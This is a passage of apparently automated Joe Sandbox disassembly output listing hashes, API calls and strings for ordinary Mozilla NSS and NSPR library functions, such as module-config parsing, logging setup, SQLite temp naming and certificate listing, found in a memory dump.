Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 00ae58c5e020fda7f564c9adc797531baa33b01208ba9e5b7eecccff80fc78f1
Instruction ID: 5d999226a292f2cf872ef3bd7612222567e2b1a54eec083ab5b51fa12e34695e
Opcode Fuzzy Hash: 00ae58c5e020fda7f564c9adc797531baa33b01208ba9e5b7eecccff80fc78f1
Instruction Fuzzy Hash: 1FF09A70B0065D8BCB10DF28C4401AAB7F4EF09244B108219EC89AB200EB30AA95C7D2

Function 6CDB0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 0834eb3ca6b6573f4c1dd05455bdaae4ec340476c1f5bd8f01da90cc5622825c
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 11E06DBA202154A7DB148F09C550BA97359EF81659FA88079CC5AABE41D633F8038791

Function 6CCDCC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8a036eada4c388010e36b66357d25046164bcba1d457da96446b09ba6d36f0a
Instruction ID: bea14377ad9d6a008d5430a14fb66e7700b6a4c45d81fc87034abbfb8c75f609
Opcode Fuzzy Hash: b8a036eada4c388010e36b66357d25046164bcba1d457da96446b09ba6d36f0a
Instruction Fuzzy Hash: 91C04838244608CFC704EE08E4899A43BB9AB096157044095EA028B721DA21F810CA81

Function 6CD45DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CD45E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CD45E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CD45E5C
free.MOZGLUE(00000000), ref: 6CD45E7E
free.MOZGLUE(00000000), ref: 6CD45E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CD45EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CD45EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CD45ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CD45EF0
free.MOZGLUE(00000000), ref: 6CD45F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CD45F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CD45F5B
free.MOZGLUE(00000000), ref: 6CD45F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CD45FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CD45FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CD45FC4
free.MOZGLUE(00000000), ref: 6CD45FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CD45FE9
free.MOZGLUE(00000000), ref: 6CD45FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CD4600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD46027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CD4605A
PR_smprintf.NSS3(6CE1AAF9,00000000), ref: 6CD4606A
free.MOZGLUE(00000000), ref: 6CD4607C
free.MOZGLUE(00000000), ref: 6CD4609A
free.MOZGLUE(00000000), ref: 6CD460B2
free.MOZGLUE(?), ref: 6CD460CE

Strings

secmod.db, xrefs: 6CD45EA0
configDir=, xrefs: 6CD45F9D
forceSecmodChoice, xrefs: 6CD45F55
pkcs11.txt, xrefs: 6CD45F47, 6CD45F7C, 6CD4603A, 6CD46053
flags, xrefs: 6CD45E3A, 6CD45EC6, 6CD45F30
%s/%s, xrefs: 6CD46055
secmod=, xrefs: 6CD45FB1
readOnly, xrefs: 6CD45E56
noModDB, xrefs: 6CD45EEA

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 413956f6dd37400bf5a1e03d38fe9a35f5ca72eec5930661fb113177658aff4f
Instruction ID: e7ed4ba2cc2435c8547b3a2621c87473cc71f4dad0ded25b8a9cc113e8ab2f7a
Opcode Fuzzy Hash: 413956f6dd37400bf5a1e03d38fe9a35f5ca72eec5930661fb113177658aff4f
Instruction Fuzzy Hash: 0E9107F0A042159BEF108F24DC81BAB3BB49F05248F184060EE5ADBB62F735D955C7B2

Function 6CCD1D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CCD1DA3

Part of subcall function 6CDA98D0: calloc.MOZGLUE(00000001,00000084,6CCD0936,00000001,?,6CCD102C), ref: 6CDA98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CCD1DB2

Part of subcall function 6CCD1240: TlsGetValue.KERNEL32(00000040,?,6CCD116C,NSPR_LOG_MODULES), ref: 6CCD1267
Part of subcall function 6CCD1240: EnterCriticalSection.KERNEL32(?,?,?,6CCD116C,NSPR_LOG_MODULES), ref: 6CCD127C
Part of subcall function 6CCD1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CCD116C,NSPR_LOG_MODULES), ref: 6CCD1291
Part of subcall function 6CCD1240: PR_Unlock.NSS3(?,?,?,?,6CCD116C,NSPR_LOG_MODULES), ref: 6CCD12A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCD1DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CCD1E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CCD1EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CCD1ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CCD1EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CCD1F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CCD1F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CCD1F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CCD1F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CCD1F83
PR_SetLogFile.NSS3(00000000), ref: 6CCD1FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CCD1FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CCD1FCB
free.MOZGLUE(00000000), ref: 6CCD1FD2

Strings

NSPR_LOG_FILE, xrefs: 6CCD1F69
, %n, xrefs: 6CCD1E6B
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CCD1E27
append, xrefs: 6CCD1EE6
Unable to create nspr log file '%s', xrefs: 6CCD1FB3
all, xrefs: 6CCD1F0E
bufsize, xrefs: 6CCD1E9B
timestamp, xrefs: 6CCD1EC4
sync, xrefs: 6CCD1E46
NSPR_LOG_MODULES, xrefs: 6CCD1DAD

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: f04e430810f4a27fb2d618981600ef0608b530b05da6238e82aa9d992dec7770
Instruction ID: 5ec63665c798ca2a9b2cc64f7340a48aedc663f8f7266672aa774f38d0716430
Opcode Fuzzy Hash: f04e430810f4a27fb2d618981600ef0608b530b05da6238e82aa9d992dec7770
Instruction Fuzzy Hash: BB5193B1E042199BDF00DBE9CC48BAE77B4AF01318F150528EA19DBA40F774F518CB92

Function 6CDB6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC6CA30: EnterCriticalSection.KERNEL32(?,?,?,6CCCF9C9,?,6CCCF4DA,6CCCF9C9,?,?,6CC9369A), ref: 6CC6CA7A
Part of subcall function 6CC6CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CC6CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CC7BE66), ref: 6CDB6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CC7BE66), ref: 6CDB6E98
sqlite3_snprintf.NSS3(?,00000000,6CE1AAF9,?,?,?,?,?,?,6CC7BE66), ref: 6CDB6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CC7BE66), ref: 6CDB6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CC7BE66), ref: 6CDB6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CC7BE66), ref: 6CDB6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CC7BE66), ref: 6CDB6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CC7BE66), ref: 6CDB6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CC7BE66), ref: 6CDB6FA6
sqlite3_snprintf.NSS3(?,00000000,6CE1AAF9,00000000,?,?,?,?,?,?,?,6CC7BE66), ref: 6CDB6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CC7BE66), ref: 6CDB6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC7BE66), ref: 6CDB6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CC7BE66), ref: 6CDB7014
sqlite3_free.NSS3(00000000,?,?,?,?,6CC7BE66), ref: 6CDB701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CC7BE66), ref: 6CDB7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CC7BE66), ref: 6CDB705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CC7BE66), ref: 6CDB7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CC7BE66), ref: 6CDB7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CC7BE66), ref: 6CDB70A0

Strings

winGetTempname1, xrefs: 6CDB708F
winGetTempname4, xrefs: 6CDB7046
winGetTempname5, xrefs: 6CDB7071
winGetTempname2, xrefs: 6CDB70C4
mz_etilqs_, xrefs: 6CDB6F18

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 602ef7044f4435458a7007dfd43780d20b3323a6f9249a8adc06269d8dc5bdea
Instruction ID: c75742ebabf9b118696ee7d7a6e37e76b820c3da541fb05b27d3c79be3b65cf3
Opcode Fuzzy Hash: 602ef7044f4435458a7007dfd43780d20b3323a6f9249a8adc06269d8dc5bdea
Instruction Fuzzy Hash: 235167E2A0411067E70457319C91BBF36769B82308F154538E816ABFE1FF35A81F82E3

Function 6CD44FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000,00000000,00000001), ref: 6CD45009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD45049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CD4505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CD45071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD45089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD450A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CD450B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2), ref: 6CD450CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CD450D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CD450F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD45103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD4511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD4512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD45145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD45153
free.MOZGLUE(?), ref: 6CD4516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CD4517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CD45195

Strings

config=, xrefs: 6CD4509B
library=, xrefs: 6CD45043
name=, xrefs: 6CD45057
nss=, xrefs: 6CD45083
parameters=, xrefs: 6CD4506B

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 14ff4e64762743f7d5922dd1044877e31c67cf63bab23c6b5c0517f3ada73a0a
Instruction ID: 327d7414fadb1e1ac13076ab0f3902387970cd3a24551af5db6326fe41168e57
Opcode Fuzzy Hash: 14ff4e64762743f7d5922dd1044877e31c67cf63bab23c6b5c0517f3ada73a0a
Instruction Fuzzy Hash: AA5119B5A01216EBEB00DF24DC41AAF37B8AF06248F144060FE59E7751F725E919CBB2

Function 6CD44C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CD34F51,00000000), ref: 6CD44C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CD34F51,00000000), ref: 6CD44C5B
PR_smprintf.NSS3(6CE1AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CD34F51,00000000), ref: 6CD44C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CD34F51,00000000), ref: 6CD44CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD44CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD44CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD44D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CD34F51,00000000), ref: 6CD44D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CD34F51,00000000), ref: 6CD44D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CD44D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CD44DA2
free.MOZGLUE(?), ref: 6CD44DB9
free.MOZGLUE(00000000), ref: 6CD44DCF

Strings

rootFlags, xrefs: 6CD44D47
slotFlags, xrefs: 6CD44D34
rust, xrefs: 6CD44D22
timeout, xrefs: 6CD44C91
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CD44D9D
0x%08lx=[%s %s], xrefs: 6CD44D80
ootT, xrefs: 6CD44D1A
any, xrefs: 6CD44C96
every, xrefs: 6CD44CA1
%s,%s, xrefs: 6CD44C4B

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 50b3871fa32847144ef57e5041395bd3b47b7d86de1823fae9ee953fbd674e33
Instruction ID: 603f1c6bd12d4e68625464eab3a8d1589a67e74e15218531369d8c030cb09169
Opcode Fuzzy Hash: 50b3871fa32847144ef57e5041395bd3b47b7d86de1823fae9ee953fbd674e33
Instruction Fuzzy Hash: E7418BF2A00145ABDB119F14DC41ABB3A75AF92308F19C128ED1A5BB11E735E9A4C7E3

Function 6CCD1FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CCD2007
calloc.MOZGLUE(00000001,00000084), ref: 6CCD2077
calloc.MOZGLUE(00000001,0000002C), ref: 6CCD20DF
TlsSetValue.KERNEL32(00000000), ref: 6CCD2188
PR_NewCondVar.NSS3 ref: 6CCD21B7
calloc.MOZGLUE(00000001,00000084), ref: 6CCD221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CCD22C2
GetLastError.KERNEL32 ref: 6CCD22CD
free.MOZGLUE(00000000), ref: 6CCD22DD

Part of subcall function 6CCD0F00: PR_GetPageSize.NSS3(6CCD0936,FFFFE8AE,?,6CC616B7,00000000,?,6CCD0936,00000000,?,6CC6204A), ref: 6CCD0F1B
Part of subcall function 6CCD0F00: PR_NewLogModule.NSS3(clock,6CCD0936,FFFFE8AE,?,6CC616B7,00000000,?,6CCD0936,00000000,?,6CC6204A), ref: 6CCD0F25

Strings

T l, xrefs: 6CCD2361
X l, xrefs: 6CCD218E

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T l$X l
API String ID: 3559583721-1689680034
Opcode ID: b5728564f4826cc712bb32c94587e2f667122d60c542ddddc16a208a42013d47
Instruction ID: b5e83a7a05d8df92ef197a49fde99e49ba64844dc6470efa9e78b6574d1e65cd
Opcode Fuzzy Hash: b5728564f4826cc712bb32c94587e2f667122d60c542ddddc16a208a42013d47
Instruction Fuzzy Hash: 59918CB0B017118FDB20AF39C85975B7AF4BF06709F10852EE65AD6A40EB70E406CF92

Function 6CD0B8F0 Relevance: 35.3, APIs: 19, Strings: 1, Instructions: 332memoryCOMMON

Download Yara Rule

APIs

PR_CallOnceWithArg.NSS3(6CE42178,6CD0BCF0,?), ref: 6CD0B915

Part of subcall function 6CCDB100: TlsGetValue.KERNEL32 ref: 6CCDB127
Part of subcall function 6CCDB100: EnterCriticalSection.KERNEL32 ref: 6CCDB140
Part of subcall function 6CCDB100: PR_Unlock.NSS3 ref: 6CCDB159
Part of subcall function 6CCDB100: TlsGetValue.KERNEL32 ref: 6CCDB195
Part of subcall function 6CCDB100: EnterCriticalSection.KERNEL32 ref: 6CCDB1AA
Part of subcall function 6CCDB100: PR_NotifyAllCondVar.NSS3 ref: 6CCDB1CA
Part of subcall function 6CCDB100: PR_Unlock.NSS3 ref: 6CCDB1D7

PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6CD0B933

Part of subcall function 6CD33120: PORT_Alloc_Util.NSS3(0000000C), ref: 6CD3313B
Part of subcall function 6CD33120: PR_NewLock.NSS3 ref: 6CD33157
Part of subcall function 6CD33120: free.MOZGLUE(00000000), ref: 6CD33166
Part of subcall function 6CD33120: PORT_Alloc_Util.NSS3(0000000C), ref: 6CD33173
Part of subcall function 6CD33120: PR_NewLock.NSS3 ref: 6CD33188
Part of subcall function 6CD33120: free.MOZGLUE(00000000), ref: 6CD33197
Part of subcall function 6CD33120: PORT_Alloc_Util.NSS3(0000000C), ref: 6CD331A4
Part of subcall function 6CD33120: PR_NewLock.NSS3 ref: 6CD331C0

free.MOZGLUE(?), ref: 6CD0BC5A

Part of subcall function 6CD09580: PK11_IsFriendly.NSS3(00000000,?,6CD0A64D,00000000,00000001,?), ref: 6CD0958F

PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6CD0B9C8

Part of subcall function 6CD33120: PK11_IsLoggedIn.NSS3(00000000,?), ref: 6CD33286
Part of subcall function 6CD33120: free.MOZGLUE(?), ref: 6CD333EE
Part of subcall function 6CD33120: free.MOZGLUE(00000000), ref: 6CD33429

SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CD0B9E1

Part of subcall function 6CD3F9A0: PORT_ArenaMark_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6CCDF379,?,00000000,-00000002), ref: 6CD3F9B7

CERT_NewCertList.NSS3 ref: 6CD0BA48
CERT_DestroyCertList.NSS3(00000000), ref: 6CD0BA6B
CERT_IsUserCert.NSS3(?), ref: 6CD0BA80
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CD0BAD5
free.MOZGLUE(00000000), ref: 6CD0BB01
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CD0BB10

Part of subcall function 6CCE3B50: TlsGetValue.KERNEL32 ref: 6CCE3B69
Part of subcall function 6CCE3B50: EnterCriticalSection.KERNEL32(?), ref: 6CCE3B79
Part of subcall function 6CCE3B50: PL_HashTableLookup.NSS3(?), ref: 6CCE3B89
Part of subcall function 6CCE3B50: PR_Unlock.NSS3 ref: 6CCE3B99

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CD0BBCD
CERT_GetCertTrust.NSS3(00000000,?), ref: 6CD0BBE3
